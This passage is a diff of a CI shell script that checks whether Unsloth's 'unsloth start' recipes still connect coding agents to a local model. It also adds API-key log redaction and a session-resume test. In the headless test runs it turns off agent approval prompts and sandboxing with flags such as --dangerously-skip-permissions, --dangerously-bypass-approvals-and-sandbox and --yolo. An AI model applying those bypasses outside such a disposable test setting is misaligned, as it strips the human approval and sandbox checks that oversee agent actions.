diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index 3c7cea919c..f4189a159e 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -6,12 +6,12 @@
 # Local Agent Guides CI. All failures from here are failure class (c)
 # "guide drift": the server preflight already passed and the agent CLI
 # already installed, so a failure here means the documented recipe in
-# unsloth_cli/commands/connect.py no longer produces a working flow.
+# unsloth_cli/commands/start.py no longer produces a working flow.
 #
-# Self-updating: for the 5 agents with a connect.py recipe we obtain the
-# exact env + command from `unsloth connect <agent> --no-launch` and run
-# THAT, so a recipe change is exercised automatically. Pi (no connect.py
-# command at HEAD) is driven by a hand-written recipe.
+# Self-updating: for all six agents (claude, codex, hermes, openclaw,
+# opencode, pi) we obtain the exact env + command from
+# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
+# exercised automatically.
 #
 # Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
 # can never hang the runner -- a timeout is reported as guide drift with a
@@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs"
 WORKDIR_BASE="$REPO_ROOT/agent-workdir"
 CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
 mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
-CONNECT_REF="unsloth_cli/commands/connect.py"
+CONNECT_REF="unsloth_cli/commands/start.py"
 
 # Prefill-shrinking flags for Claude Code. The heavyweight agents send
 # multi-thousand-token system prompts + full tool schemas, which on a CPU-only
 # runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
 # Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
 # and restricting tools cuts the prefill to a few hundred tokens so it completes
-# quickly on CPU. These only shape the request size; the connect.py recipe
+# quickly on CPU. These only shape the request size; the start.py recipe
 # (endpoint, auth, model) is still exercised end to end.
 #
 # The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
@@ -105,6 +105,13 @@ redact() {
   done
 }
 
+# Print a file to the log with the key scrubbed, without mutating it (the raw file is
+# still needed to parse the real env). Use this instead of `cat` for any transcript that
+# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
+cat_redacted() {
+  sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
+}
+
 # A reply must be non-empty and free of connection/auth errors.
 assert_reply() {
   local out="$1"
@@ -131,45 +138,34 @@ run_timed() {  # $1=outfile, rest=command
   return "$rc"
 }
 
-# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
-write_pi_config() {
-  if unsloth connect pi --help >/dev/null 2>&1; then
-    # Tripwire: once a real recipe exists, the hand-written config would mask any
-    # drift in it, defeating the point of this CI. Fail hard so the cell is
-    # migrated to the self-updating `unsloth connect pi --no-launch` path.
-    guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
-  fi
-  mkdir -p "$HOME/.pi/agent"
-  python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
-import json, os, sys
-base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
-cfg = {"providers": {"unsloth": {
-    "api": "openai-completions",
-    "baseUrl": f"{base}/v1",
-    "apiKey": key,
-    "models": [{"id": model}],
-}}}
-path = os.path.expanduser("~/.pi/agent/models.json")
-with open(path, "w") as fh:
-    json.dump(cfg, fh, indent=2)
-PY
-  cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
-  redact "$REDACTED_DIR/pi-models.json"
+# Read a value from an `export VAR=...` line in the connect --no-launch output.
+# `unsloth start` writes each agent's session config off the user's ~ and points
+# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
+# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
+raw_env() {  # $1 = var name -> value (one shlex-quote layer stripped)
+  local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
+  v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
 }
 
-# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
+# ── 5-agent start.py path: parse env + command from --no-launch ─────────
 # Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
-# launch command on the last printed line), and runs connect.py's config
-# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
+# launch command on the last printed line), and runs start.py's config
+# writers as a side effect (it writes each agent's relocated session config).
 parse_connect() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
-  if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
-    cat "$raw"
-    guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
+  # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
+  # config (which now prompts by default), so the file-edit test opts into auto-approval
+  # here, the same intent as claude/codex's per-call bypass flags.
+  local yolo=()
+  [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
+  if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
+    cat_redacted "$raw"
+    guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
   fi
-  echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
+  echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
   CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
-  # The launch command is the last non-export, non-status line. connect.py
+  # The launch command is the last non-export, non-status line. start.py
   # prints "Studio <url> · model <id>" and "Updated ..." status lines first.
   CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
     | grep -E '[^[:space:]]' | tail -1)"
@@ -177,45 +173,63 @@ parse_connect() {
   redact "$raw"
 }
 
-# Cross-check the documented contract knobs so silent connect.py changes
+# Cross-check the documented contract knobs so silent start.py changes
 # (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
 crosscheck_contract() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  local cfg home
   case "$AGENT" in
     codex)
       grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
-        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
-      if [ -f "$HOME/.codex/config.toml" ]; then
-        grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
-          || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
-        cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
+        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
+      home="$(raw_env CODEX_HOME)"
+      # An empty relocation var would make cfg "/config.toml" and silently
+      # skip the [ -f ] contract check below; fail loudly instead.
+      [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
+      cfg="$home/config.toml"
+      if [ -f "$cfg" ]; then
+        grep -q 'wire_api = "responses"' "$cfg" \
+          || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
+        cp "$cfg" "$REDACTED_DIR/codex-config.toml"
       fi
       grep -q 'codex --oss --profile unsloth_api' "$raw" \
         || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
       ;;
     claude)
       grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
-        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
-      if [ -f "$HOME/.claude/settings.json" ]; then
-        grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
-          || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
-        cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
-      fi
+        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
+      grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
+        || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
       ;;
     hermes)
       grep -q 'UNSLOTH_API_KEY' "$raw" \
-        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
-      [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
+        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
+      home="$(raw_env HERMES_HOME)"
+      [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
+      cfg="$home/config.yaml"
+      [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
       ;;
     openclaw)
-      if [ -f "$HOME/.openclaw/openclaw.json" ]; then
-        grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
+      cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
+      if [ -n "$cfg" ] && [ -f "$cfg" ]; then
+        grep -q '"openai-completions"' "$cfg" \
           || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
-        cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
+        cp "$cfg" "$REDACTED_DIR/openclaw.json"
       fi
       ;;
     opencode)
-      [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
+      cfg="$(raw_env OPENCODE_CONFIG)"
+      [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
+      ;;
+    pi)
+      # Pi has no config-dir env var; the session is HOME-relocated, and the
+      # provider config lives at $HOME/.pi/agent/models.json.
+      cfg="$(raw_env HOME)/.pi/agent/models.json"
+      if [ -f "$cfg" ]; then
+        grep -q '"openai-completions"' "$cfg" \
+          || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
+        cp "$cfg" "$REDACTED_DIR/pi-models.json"
+      fi
       ;;
   esac
   redact "$REDACTED_DIR"/* 2>/dev/null || true
@@ -229,16 +243,23 @@ crosscheck_contract() {
 
 # Hermes: an explicit empty cli toolset disables all tools (and drops the
 # tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
-# hermes ships a DEFAULT config.yaml that already has a populated
-# platform_toolsets, and `unsloth connect` merges into it, so we must override
-# cli (not just append). That needs a YAML parser, and the runner's bare
-# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
-# imports yaml), so run the patch with that interpreter.
+# Hermes enables its default cli toolset when the session config does not pin one,
+# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
+# zero tools. That needs a YAML parser, and the runner's bare python3 has no
+# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
+# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
+# that `unsloth start` printed, not the user's ~/.hermes.
 # (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
 patch_hermes_tools() {  # $1 = none|default
+  # Check the raw var BEFORE appending /config.yaml: the joined path is never
+  # empty, so the old guard could not fire and the patcher would die on
+  # "/config.yaml" with a bare traceback instead of this clear failure.
+  local home; home="$(raw_env HERMES_HOME)"
+  [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
+  local cfg; cfg="$home/config.yaml"
   # Find a python that can import yaml. The runner's bare python3 cannot, but the
   # interpreter in the `unsloth` console-script shebang provably can (it runs
-  # connect.py's write_hermes_config, which imports yaml). Try that first, then
+  # start.py's write_hermes_config, which imports yaml). Try that first, then
   # any python on PATH, then the venv sibling, picking the first with PyYAML.
   local cand py="" shebang
   shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
@@ -247,13 +268,13 @@ patch_hermes_tools() {  # $1 = none|default
     { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
     if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
   done
-  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
-  echo "[hermes] patching config with $py"
-  "$py" - "$1" <<'PY'
+  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
+  echo "[hermes] patching $cfg with $py"
+  "$py" - "$1" "$cfg" <<'PY'
 import os, sys
 import yaml
 mode = sys.argv[1]
-p = os.path.expanduser("~/.hermes/config.yaml")
+p = sys.argv[2]
 cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
 ts = cfg.get("platform_toolsets")
 if not isinstance(ts, dict):
@@ -274,10 +295,14 @@ PY
 # drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
 # both modes. --agent must reference a defined agent, so write it before invoking.
 patch_openclaw_agent() {  # $1 = notools|tools
-  python3 - "$1" <<'PY'
+  # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
+  # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
+  local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
+  [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
+  python3 - "$1" "$cfg" <<'PY'
 import os, sys, json
 mode = sys.argv[1]
-p = os.path.expanduser("~/.openclaw/openclaw.json")
+p = sys.argv[2]
 cfg = json.load(open(p)) if os.path.exists(p) else {}
 agents = cfg.setdefault("agents", {})
 agents.setdefault("defaults", {})["skipBootstrap"] = True
@@ -293,20 +318,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
 PY
 }
 
-# Build an invoke script that applies connect.py's env then runs the launch
+# Build an invoke script that applies start.py's env then runs the launch
 # command (with extra args appended) under bash. We do NOT eval connect's env
 # into this shell; we write it into a one-shot script so the export/unset
-# semantics are exactly what connect.py printed. The script path is absolute
+# semantics are exactly what start.py printed. The script path is absolute
 # so it is valid even when the caller has cd'd into a scratch work dir.
 invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
   local out="$1"; shift
   local script="$LOGS_DIR/invoke-${AGENT}.sh"
   local real; real="$(mktemp)"
+  # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
+  # session knob without editing the user's config; empty -> use what start.py emitted.
+  local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
   {
     echo "set -uo pipefail"
     echo "$CONNECT_ENV"
+    [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
     # Append extra args (the prompt / flags) to the launch command verbatim.
-    printf '%s' "$CONNECT_CMD"
+    printf '%s' "$cmd"
     local a
     for a in "$@"; do printf ' %q' "$a"; done
     printf '\n'
@@ -318,7 +347,9 @@ invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
   # Writing the redacted copy up front keeps the key out of the artifact even if
   # the run times out (run_timed exits before returning here).
   cp "$real" "$script"; redact "$script"
-  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
+  # The connect one-liner now carries the key as an inline env assignment; scrub it on
+  # the way to the log (the executed $real keeps the live value).
+  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
   run_timed "$out" bash "$real"
   local rc=$?
   rm -f "$real"
@@ -332,27 +363,23 @@ case "$MODE" in
   connection)
     PROMPT='Reply with exactly the single word: pong'
     OUT="$LOGS_DIR/${AGENT}-connection.txt"
-    if [ "$AGENT" = "pi" ]; then
-      write_pi_config
-      run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
-    else
-      parse_connect
-      crosscheck_contract
-      # claude/codex run in print mode via the flags connect.py emits
-      # (claude -p / codex exec). For agents whose default subcommand prints
-      # to stdout we pass the prompt through ctx.args.
-      case "$AGENT" in
-        claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
-        codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
-        opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
-        hermes)   patch_hermes_tools none
-                  invoke_via_connect "$OUT" -z "$PROMPT" ;;
-        openclaw) patch_openclaw_agent notools
-                  invoke_via_connect "$OUT" agent --local --agent ci \
-                    --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
-        *)        invoke_via_connect "$OUT" "$PROMPT" ;;
-      esac
-    fi
+    parse_connect
+    crosscheck_contract
+    # claude/codex run in print mode via the flags start.py emits
+    # (claude -p / codex exec). For agents whose default subcommand prints
+    # to stdout we pass the prompt through ctx.args.
+    case "$AGENT" in
+      claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
+      codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
+      opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
+      pi)       invoke_via_connect "$OUT" -p "$PROMPT" ;;
+      hermes)   patch_hermes_tools none
+                invoke_via_connect "$OUT" -z "$PROMPT" ;;
+      openclaw) patch_openclaw_agent notools
+                CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \
+                  --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
+      *)        invoke_via_connect "$OUT" "$PROMPT" ;;
+    esac
     # A non-zero exit from the documented launch command is drift even if it
     # printed something: a benign-looking "command not found" / usage dump would
     # otherwise slip past assert_reply (which only flags empty/error-keyword text).
@@ -371,22 +398,21 @@ case "$MODE" in
     T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
     T2='Run hello.py with python and show me the exact output.'
 
-    # The connect.py recipe writers + crosscheck must see the repo; run them
-    # from the repo root BEFORE cd-ing into the scratch work dir.
-    if [ "$AGENT" != "pi" ]; then
-      parse_connect
-      crosscheck_contract
-      # File-edit needs real tools, so we cannot zero them as in connection.
-      # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
-      # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
-      # dir is empty, so no project context files are auto-loaded either.
-      case "$AGENT" in
-        hermes)   patch_hermes_tools default ;;
-        openclaw) patch_openclaw_agent tools ;;
-      esac
-    else
-      write_pi_config
-    fi
+    # The start.py recipe writers + crosscheck must see the repo; run them
+    # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
+    # gate tool approval through their config (prompting by default), so file-edit
+    # opts them into auto-approval to run edits/commands headlessly.
+    case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac
+    parse_connect
+    crosscheck_contract
+    # File-edit needs real tools, so we cannot zero them as in connection.
+    # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
+    # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
+    # dir is empty, so no project context files are auto-loaded either.
+    case "$AGENT" in
+      hermes)   patch_hermes_tools default ;;
+      openclaw) patch_openclaw_agent tools ;;
+    esac
 
     # Drive from inside the work dir so the agent edits files there. All log
     # writes use absolute $LOGS_DIR, so cwd does not matter for them.
@@ -395,7 +421,14 @@ case "$MODE" in
     invoke_turn() {  # $1=outfile $2=continue? $3=prompt
       local out="$1" cont="$2" prompt="$3"
       case "$AGENT" in
-        pi)       run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
+        pi)
+          # Pi continues the previous session with -c; provider/model come from
+          # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
+          if [ "$cont" = "continue" ]; then
+            invoke_via_connect "$out" -p --continue "$prompt"
+          else
+            invoke_via_connect "$out" -p "$prompt"
+          fi ;;
         claude)
           # --dangerously-skip-permissions lets headless claude actually use the
           # Write/Bash tools (otherwise it blocks on an approval prompt and emits
@@ -416,7 +449,7 @@ case "$MODE" in
           fi ;;
         opencode) invoke_via_connect "$out" run "$prompt" ;;
         hermes)   invoke_via_connect "$out" -z "$prompt" ;;
-        openclaw) invoke_via_connect "$out" agent --local --agent ci \
+        openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \
                     --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;;
         *)        invoke_via_connect "$out" "$prompt" ;;
       esac
@@ -466,33 +499,180 @@ case "$MODE" in
     # right before the measured turn, so an earlier turn's reuse can't leak in.
     LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
     export LLAMA_LOG_DIR
-    parse_connect          # writes ~/.claude/settings.json (header=0) + env
+    parse_connect          # prints session env + suppression flags (no ~/.claude write)
     crosscheck_contract
     PROMPT='Reply with exactly the single word: pong'
 
-    # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
-    # the continued turn. connect.py's ensure_claude_attribution_header() set 0.
+    # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
+    # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
+    # HIT on the continued turn, since the system-prompt prefix is stable.
     invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT"        # turn 1 primes
     FROM_HIT="$(bash "$CACHE_HELPER" mark)"                                # offset before turn 2
     invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
     CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
 
-    # Phase B: header ENABLED -> expect a MISS. The header prepends a
-    # per-request-changing attribution line to the system prompt, so the shared
-    # prefix changes every turn and the KV cache is invalidated (~90% slower);
-    # this is exactly what the guide flag prevents.
-    python3 - <<'PY'
-import json, os
-p = os.path.expanduser("~/.claude/settings.json")
-s = json.load(open(p)) if os.path.exists(p) else {}
-s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
-json.dump(s, open(p, "w"), indent=2)
-PY
+    # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
+    # the env var to 1 and strip the suppression flags from the launch command
+    # (without them the dynamic attribution line is included and changes every
+    # turn, so the shared prefix moves and the KV cache is invalidated, ~90%
+    # slower). This is session-only: nothing is written to ~/.claude.
+    CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
+    CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
+      | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
     invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
     FROM_MISS="$(bash "$CACHE_HELPER" mark)"
     invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
     CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
-    echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
+    unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
+    echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
+    ;;
+
+  # ── resume: does a launched agent's session survive exit and resume? ────
+  # Unlike the other modes, this drives the real LAUNCH path (`unsloth start
+  # <agent> ...`, the interactive default), not the --no-launch recipe. That
+  # path relocates each agent's home to a throwaway temp dir wiped on exit, so
+  # a session cannot be resumed -- unless --persist routes it to the stable
+  # Unsloth agents dir instead. We run one headless turn per pass and check
+  # whether the turn left a session in a persistent store (deterministic, no
+  # reliance on the model recalling anything), for a baseline pass and a
+  # --persist pass, and assert the expected split for this agent.
+  resume)
+    CODEWORD="PLATYPUS7"
+    T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK."
+    T2="What codeword did I ask you to remember? Reply with just that word."
+    WORK="$WORKDIR_BASE/${AGENT}-resume"
+
+    # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to.
+    # Read it from a --no-launch probe (which also writes the agent's config
+    # there). codex/pi relocate their whole home/HOME here; opencode/claude keep
+    # their session data in a fixed user dir, so STABLE_HOME stays empty for them.
+    parse_connect
+    case "$AGENT" in
+      codex)    STABLE_HOME="$(raw_env CODEX_HOME)" ;;
+      pi)       STABLE_HOME="$(raw_env HOME)" ;;
+      *)        STABLE_HOME="" ;;
+    esac
+
+    # The persistent stores a session would land in if it were NOT wiped. We
+    # count files here before/after each turn; a positive delta means the
+    # session persisted (is resumable), zero means it went to a wiped temp dir.
+    resume_tracked_dirs() {
+      case "$AGENT" in
+        codex)    printf '%s\n' "$HOME/.codex" ;;
+        opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;;
+        claude)   printf '%s\n' "$HOME/.claude" ;;
+        pi)       printf '%s\n' "$HOME/.pi" ;;
+        *)        : ;;
+      esac
+      [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME"
+    }
+    count_session_files() {
+      local total=0 d n
+      while IFS= read -r d; do
+        [ -n "$d" ] && [ -d "$d" ] || continue
+        n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n))
+      done < <(resume_tracked_dirs)
+      echo "$total"
+    }
+
+    # The headless first-turn subcommand per agent (mirrors file-edit's map),
+    # forwarded verbatim through the launch path as passthrough args.
+    set_t1_cmd() {
+      case "$AGENT" in
+        claude)   T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;;
+        codex)    T1_CMD=(exec "$T1") ;;
+        opencode) T1_CMD=(run "$T1") ;;
+        pi)       T1_CMD=(-p "$T1") ;;
+        *)        guide_fail "resume mode does not cover agent '$AGENT'" ;;
+      esac
+    }
+
+    # Run one headless turn through the launch path. $1=outfile, $2="" or
+    # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool
+    # prompt can hang; --api-key attaches to the already-served CI model.
+    launch_turn() {
+      local out="$1" rflag="$2"; shift 2
+      local flag=(); [ -n "$rflag" ] && flag=("$rflag")
+      run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \
+        --api-key "$UNSLOTH_API_KEY" "$@"
+      local rc=$?
+      redact "$out"
+      return "$rc"
+    }
+
+    # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED
+    # from the session-store delta. Runs in the main shell (not a command
+    # substitution) so a hang's guide_fail actually fails the job and the
+    # progress lines reach the CI log. $1 = "" (baseline) or "--persist".
+    RESULT=""
+    run_pass() {
+      local rflag="$1" label="baseline"
+      [ -n "$rflag" ] && label="resume"
+      rm -rf "$WORK"; mkdir -p "$WORK"
+      set_t1_cmd
+      local out="$LOGS_DIR/${AGENT}-resume-${label}.txt"
+      local before after rc
+      before="$(count_session_files)"
+      pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK"
+      launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$?
+      popd >/dev/null || true
+      after="$(count_session_files)"
+      echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})"
+      # The turn must succeed for the delta to mean anything: an agent that writes a
+      # session file then errors would otherwise be misread as PERSISTED. Mirror the
+      # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall
+      # below stays WARN-only, driven by its own launch_turn calls).
+      [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \
+        guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; }
+      if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi
+    }
+
+    run_pass ""; BASELINE="$RESULT"
+    # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix.
+    # opencode/claude persist either way, so the baseline already proves it and a
+    # second full CPU turn only risks a timeout; skip it for them.
+    case "$AGENT" in
+      codex|pi) run_pass "--persist"; RESUME="$RESULT" ;;
+      *)        RESUME="n/a (persists either way)" ;;
+    esac
+
+    # Expected: codex/pi relocate their whole home to the temp dir, so a plain
+    # launch is WIPED and only --persist PERSISTS. opencode/claude keep their
+    # session data in a fixed user dir, so the baseline already PERSISTS.
+    case "$AGENT" in
+      codex|pi)        EXPECT_BASELINE="WIPED" ;;
+      opencode|claude) EXPECT_BASELINE="PERSISTED" ;;
+    esac
+
+    echo "──────────────────────────────────────────────"
+    echo "[$AGENT] RESUME EXPERIMENT"
+    echo "  baseline (unsloth start ${AGENT}):                 ${BASELINE}  (expected ${EXPECT_BASELINE})"
+    echo "  with --persist (unsloth start ${AGENT} --persist): ${RESUME}"
+    echo "──────────────────────────────────────────────"
+
+    [ "$BASELINE" = "$EXPECT_BASELINE" ] \
+      || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}"
+    case "$AGENT" in
+      codex|pi)
+        [ "$RESUME" = "PERSISTED" ] \
+          || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;;
+    esac
+
+    # Flagship behavioral proof (codex only, WARN-only): after a --persist plant,
+    # resume the session and check the model actually recalls the codeword. A
+    # miss is not a failure (the CI model is small); the mechanism gate above is
+    # the real assertion.
+    if [ "$AGENT" = "codex" ]; then
+      rm -rf "$WORK"; mkdir -p "$WORK"
+      ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true
